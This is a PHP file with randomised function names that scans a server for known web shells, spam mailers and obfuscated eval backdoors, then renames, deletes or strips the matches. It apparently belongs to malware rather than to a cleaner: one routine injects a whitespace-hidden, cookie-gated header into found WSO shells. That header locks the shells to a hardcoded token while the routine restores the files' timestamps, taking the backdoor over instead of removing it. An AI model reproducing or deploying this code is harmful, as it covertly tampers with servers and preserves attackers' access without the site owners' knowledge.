<?php
function ryypkex($content)
{
if (strpos($content, " = mail(\$_POST[") !== FALSE)
{
    return TRUE;
}

if (strpos($content, " = mail(base64_decode(") !== FALSE)
{
    return TRUE;
}

if (strpos($content, " = mail(stripslashes(\$") !== FALSE)
{
    return TRUE;
}

if (strpos($content, " = mail(stripslashes(\$") !== FALSE)
{
    return TRUE;
}

if (strpos($content, "mail") !== FALSE && substr_count($content, "stripslashes(base64_decode(\$_POST[") == 4)
{
    return TRUE;
}

if (strpos($content, "eval(\"return eval(\"\$code\");\") ?>") !== FALSE)
{
    return TRUE;
}

if (strpos($content, "if(isset(\$_POST[\"msgbody\"]))") !== FALSE && strpos($content, "if(isset(\$_POST[\"msgsubject\"]))") !== FALSE)
{
    return TRUE;
}


return FALSE;
}
function gqbn($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rogua($content)
{
if (strpos($content, "eval") !== FALSE)
{
    $brace1 = substr_count($content, "{");
    $brace2 = substr_count($content, "(");
    if (($brace1 == 3 || $brace1 == 2) && ($brace2 == 6 || $brace2 == 4))
    {
        return TRUE;
    }
}

return FALSE;
}
function gpzmfj($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rtob($content)
{
if (strpos($content, "if(mail(\$MailTo,") !== FALSE)
{
    if (substr_count($content, ")") == 14)
    {
        return TRUE;
    }
}

return FALSE;
}
function gfjsi($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function ryjn($content)
{
if (strpos($content, ";eval(\$") !== FALSE)
{
    if (substr_count($content, ")") == 6)
    {
        return TRUE;
    }
}

return FALSE;
}
function gzoy($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function robwuk($content)
{
if (strpos($content, "<?php @eval(\$_POST[") !== FALSE)
{
    return TRUE;
}

return FALSE;

}
function gfywdi($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function reuiwfrnzn($content)
{
$sign = "<?php";
for ($i=0; $i<100; $i++) {$sign .= " ";}
$sign_pos = 0;
if (($sign_pos = strpos($content, $sign)) === FALSE)
{
    return FALSE;
}

$sign_pos_end = 0;
if (($sign_pos_end = strpos($content, "?>", $sign_pos)) === FALSE)
{
    return FALSE;
}

$content = substr($content, $sign_pos, $sign_pos_end-$sign_pos);

if (strpos($content, "eval") !== FALSE)
{
    $brace1 = substr_count($content, "{");
    $brace2 = substr_count($content, "(");
    if (($brace1 == 3 || $brace1 == 2) && ($brace2 == 6 || $brace2 == 4))
    {
        return TRUE;
    }
}

return FALSE;
}
function glvtuyjkcep($path)
{
$content = @file_get_contents($path);
$sign = "<?php";
for ($i=0; $i<100; $i++) {$sign .= " ";}
$sign_pos = 0;
if (($sign_pos = strpos($content, $sign)) === FALSE)
{
    return;
}
$sign_pos_end = 0;
if (($sign_pos_end = strpos($content, "?>", $sign_pos)) === FALSE)
{
    return;
}
else
{
    $sign_pos_end = $sign_pos_end + 2;
}
$content2 = substr($content, $sign_pos, $sign_pos_end-$sign_pos);
@unlink($path);
@file_put_contents($path, str_replace($content2, "", $content));
}
function rqeazjetf($content)
{
if (strpos($content, "http://www.fopo.com.ar/") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gloethdf($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rdul($content)
{
$auth_token = md5(md5($_SERVER['HTTP_HOST']) . $_SERVER['HTTP_HOST'] . "salt1I*@#31RTds34+543sf");

$s1 = strpos($content, "FilesMan");
$s2 = strpos($content, "WSOsetcookie");

$s3_1 = strpos($content, "default_use_ajax");
$s3_2 = strpos($content, "default_action");

if (($s1 !== FALSE || $s2 !== FALSE || ($s3_1 !== FALSE && $s3_2 !== FALSE)) and strpos($content, $auth_token) === FALSE) 
{
    return TRUE;
}

return FALSE;
}
function gpikaqlc($path)
{
$auth_token = md5(md5($_SERVER['HTTP_HOST']) . $_SERVER['HTTP_HOST'] . "salt1I*@#31RTds34+543sf");
$space_str = "";
for ($i=0; $i<512; $i++) {$space_str .= " ";}
$payload = "<" . "?php " . $space_str . " if (!isset(\$_COOKIE['[AUTH]'])) {header('HTTP/1.0 404 Not Found');exit;} ?> ";
$payload = str_replace('[AUTH]', $auth_token, $payload);
$data = @file_get_contents($path);

$mod_time = @stat($path);
@unlink($path);
@file_put_contents($path, $payload . $data);
if ($mod_time)
{
    @touch($path, $mod_time['mtime']);
}

}
function rytkrx($content)
{
if (strpos($content, "  ,\"") !== FALSE && strpos($content, "\";\$") !== FALSE && strpos($content, "'\".\$") !== FALSE && substr_count($content, " = \"") == 3)
{
    return TRUE;
}

return FALSE;
}
function geahqqet($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rkxhgrqyal($content)
{
if (substr_count($content, ".chr(") > 20 && substr_count($content, "\n") < 10)
{
    return TRUE;
}
return FALSE;
}
function gmzknmt($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function refg($content)
{
if (strpos($content, "Location: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx") !== FALSE) { return TRUE; } return FALSE;
}
function gdhne($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rdjfasxrg($content)
{
if (strpos($content, "this-is-the-test-of-door") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gqfuu($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rhow($content)
{
if (strpos($content, "<?php \$") === 0 && substr_count($content, ";\$") == 7)
{
    return TRUE;
}

return FALSE;
}
function gzfkylyosi($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rqcxjfhdrp($content)
{
if (strpos($content, "if (isset(\$_COOKIE[\"id\"])) @\$_COOKIE[\"user\"](\$_COOKIE[\"id\"]);") !== FALSE)
{
    return TRUE;
}
return FALSE;

}
function gggwqlafmal($path)
{
@file_put_contents($path, str_replace("if (isset(\$_COOKIE[\"id\"])) @\$_COOKIE[\"user\"](\$_COOKIE[\"id\"]);", "", @file_get_contents($path)));
}
function rrhzwyaxsc($content)
{
if (strpos($content, "<" . "?php eval(eval(\"") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gztzzslkei($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rwwpsmrmg($content)
{
if (strpos($content, "};eval(\$") !== FALSE && substr_count($content, "}.\$") == 21 && substr_count($content, "};\$") == 4)
{
    return TRUE;
}

return FALSE;
}
function gryrthzfa($path)
{
$content = @file_get_contents($path);

$start = strpos($content, "<" . "?php");
if ($start !== FALSE)
{
    $stop = strpos($content, "?" . ">", $start);
    $payload_pos = strpos($content, "};eval(\$");

    if ($stop != FALSE && $payload_pos !== FALSE && $payload_pos < $stop)
    {
        $stop += 2;
        @file_put_contents($path, substr($content, $stop));
    }
}
}
function rozdactyet($content)
{
if (substr_count($content, "].\$") == 15 && substr_count($content, ").\"") >= 9)
{
    return TRUE;
}

return FALSE;
}
function gnseks($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rrbxeupsky($content)
{
if (strpos($content, "echo \"file test okay\";") !== FALSE && strpos($content, "if( isset(\$_REQUEST[\"test_url\"]) ){") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gqipoqobal($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function raaihrc($content)
{
if ((strpos($content, "eval") !== FALSE || strpos($content, "preg_replace") !== FALSE || strpos($content, "_REQUEST") !== FALSE || strpos($content, "_PO") !== FALSE) && substr_count($content, "\n") <= 1 && strlen($content) < 1000)
{
    return TRUE;
}

return FALSE;
}
function gqzwrttn($path)
{
return;
}
function rsggz($content)
{
if (strpos($content, "null==getCookie(\"__cfgoid\")&&(setCookie(\"__cfgoid\",1,1),") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gzttbeeegz($path)
{
return;
}
function rwapuft($content)
{
if (strpos($content, "arr2html(\$_REQUEST['array']);") !== FALSE && strpos($content, "@assert(\$array);") !== FALSE)
{
        return TRUE;
}

return FALSE;
}
function gqxxmpne($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rnirxwvhy($content)
{
if (strpos($content, " = \"\\x69\\x6e\\x74\\x76\\x61\\x6c\"; \$") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function glemz($path)
{
return;
}
function rxpdnyswb($content)
{
if (strpos($content, "))));") !== FALSE and strpos($content, "\";@\$") !== FALSE and substr_count($content, "\";\$") > 10)
{
    return TRUE;
}


return FALSE;
}
function gkucrpfloia($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rkacwaghilf($content)
{
if (strpos($content, "ZXZhbChiYXNlNjRfZGVjb2RlKCdEUW8vUGp3L2NHaHdEUW9qSXlNakl5TWpJeU1qSXlNakl") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gayrzc($path)
{
return;
}
function rqjqvr($content)
{
if (strpos($content, "ER['REMOTE_ADDR'], \"23.8\")===false){") !== FALSE)
{
    return TRUE;
}

if (strpos($content, ".php.suspected\", \"t") !== FALSE)
{
    return TRUE;
}

if (strpos($content, "unlink(\"../d730d81e7") !== FALSE)
{
    return TRUE;
}

if (strpos($content, "<" . "?php @require('./") !== FALSE && strpos($content, ".php") === FALSE)
{
    return TRUE;
}

if (strpos($content, "\"];}exit();}\$") !== FALSE && strpos($content, ");break;case 1:\$") !== FALSE)
{
    return TRUE;
}

if (strpos($content, "if (file_exists(\"vzsda.php.suspected\"))") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gecdg($path)
{
@unlink($path);
}
function rxubmoidtd($content)
{
if (strpos($content, "\$wp_enc_file = '<" . "?php eval(\"") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function grlxvmlkiv($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rqmckwftf($content)
{
if (strpos($content, "\treturn @gzinflate") !== FALSE && strpos($content, "'] : (isset(\$_COOKIE['") !== FALSE && strpos($content, "<form method=\"post\" action=\"\">") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gfwwzistqfs($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rrdpfu($content)
{
if (strpos($content, "@gzinflate(strrev(\$") !== FALSE && strpos($content, "    if(crc32(\$") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gtqeef($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rjpmh($content)
{
if (strpos($content, "urldecode(\"%6E1%7A%62%2F%6D%615%5C%76") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gjysucfvs($path)
{
return;
}
function roao($content)
{
if (strpos($content, "\"));'); \$strings(\$light);") !== FALSE || strpos($content, "@\$strings(str_rot13('riny(") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gvrhfjhdkp($path)
{
return;
}
function rpzdft($content)
{
if (strpos($content, "\$code.=\$name.\"c+=String.fromC") !== FALSE && strpos($content, "if(isset(\$_COOKIE['google'])") !== FALSE){
    return TRUE;
}

return FALSE;
}
function goxoknmwm($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rpuwao($content)
{
if (strpos($content, "\$f = \$a(\"\", \$array_name(\$string));") !== FALSE && strpos($content, "MALWARE") === FALSE)
{
    return TRUE;
}
return FALSE;
}
function gqelmmabr($path)
{
return;
}
function rdlfe($content)
{
if (strpos($content, "if( isset(\$_POST['_f_wp']) ) @setcookie( '_f_wp', \$_POST['_f_wp'] );") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gulgpfe($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rgyq($content)
{
if (strpos($content, "<" . "?php eval(gzinflate(base64_decode('") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function guhcwyjuqx($path)
{
return;
}
function rciedmmk($content)
{
if (strpos($content, "str_rot13('fge_ebg13');") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function glclcfasilm($path)
{
return;
}
function rbrxs($content)
{
if (strpos($content, "=str_replace(\"[t1]\", \"<" . "?\", \$") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function goqp($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rmax($content)
{
if (substr_count($content, "].\$") == 15 && strpos($content, "FilesMan") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gewvixpjzvz($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rbpfc($content)
{
if (strpos($content, "isset(\$_COOKIE['g__g_']") !== FALSE)
{
    return TRUE;
}
return FALSE;

}
function gwab($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function risuzgf($content)
{
if (strpos($content, "file_get_contents('http://www.google.com/safebrowsing/diagnostic?output=jsonp&") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function golbcum($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rqhbcjdmsv($content)
{
if (substr_count($content, "} . \$") == 36)
{
    return TRUE;
}
return FALSE;
}
function gesstxsuipm($path)
{
return;
}
function rkqyq($content)
{
if (strpos($content, "\'#ListChecker#i\', \'#MSIECrawler#i\', \'#NetCache#i\', \'#Nutch#i\'") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function giicko($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rneisisz($content)
{
if (strpos($content, "=str_ireplace(\"i\",\"\",") !==  FALSE && strpos($content, ",E_USER_ERROR);") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gbafeviovhb($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rkqsf($content)
{
if (substr_count($content, "return \"{\$") > 50)
{
    return TRUE;
}
return FALSE;

}
function gvfzazpk($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rfyxj($content)
{
if (strpos($content, " }eval(") !== FALSE && strpos($content, "\$i] = chr(ord(\$") !== FALSE && strpos($content, "=gzinflate(\$code($") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gyobejfssd($path)
{
return;
}
function rzbvtgkg($content)
{
if (strpos($content, "b374k 2.8") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gwdpgdodnsm($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function refvnbdd($content)
{
if (strpos($content, "ms_not_installed") !== FALSE && strpos($content, "\$id = \$_POST['id']") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function goftjei($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rxeon($content)
{
if (strpos($content, "?yid=%d&lid=%d&jumpurl=%d&from=%s") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gqqsqmumzw($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rbyhucr($content)
{
if (strpos($content, "if(!\$ping){post_mch(\$sd,'C1',\$rel);}") !== FALSE)
{
    return TRUE;
}
}
function gbpvfxic($path)
{
return;
}
function rilrfytsvkh($content)
{
if (strpos($content, "print '*valid:ok*'.\$crlf;") !== FALSE)
{
    return TRUE;
}
}
function gpvpy($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rmnhterp($content)
{
if (strpos($content, "if (is_array(\$s) && (count(\$s) > 0) && isset(\$s[0]['txt']) && strlen(\$s[0]['txt']))") !== FALSE)
{
    return TRUE;
}

}
function gcuk($path)
{
return;
}
function rngmuueunlc($content)
{
if (strpos($content, "\$_REQUEST['action'] == 'indt'") !== FALSE and strpos($content, "mail(stripslashes(base64_decode") !== FALSE)
{
    return TRUE;
}
}
function gitgl($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rlvjmtrf($content)
{
if (strpos($content, "eval(\"\\x65\\x76\\x61\\x6C\\x28\\x67\\x7A\\x69\\x6E\\x66\\x6C\\x61\\x74\\x65\\x28\\x62\\x61\\") !== FALSE)
{
    return TRUE;
}
}
function gktpodrjmk($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rejpxuer($content)
{
if (strpos($content, "{\$r='';for(\$i=0;\$i<strLen(\$p);\$i+=2){\$r.=chr(hexdec(\$p[\$") !== FALSE)
{
    return TRUE;
}
}
function gqmv($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function runja($content)
{
if (strpos($content, "\$this->muf=\$this->dispatch('GIF89alxWam9FZlRWYvxGc19VZ29Wb');") !== FALSE)
{
    return TRUE;
}

}
function gpzhlr($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rzjvundqun($content)
{
if (strpos($content, "z0=\$_REQUEST['sort'];\$q1='';\$c2=\"wt8m4;") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gemghu($path)
{
return;
}
function rpqjmgu($content)
{
if (strpos($content, "aWYoISRfQ09PS0lFW") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function giheg($path)
{
return;
}
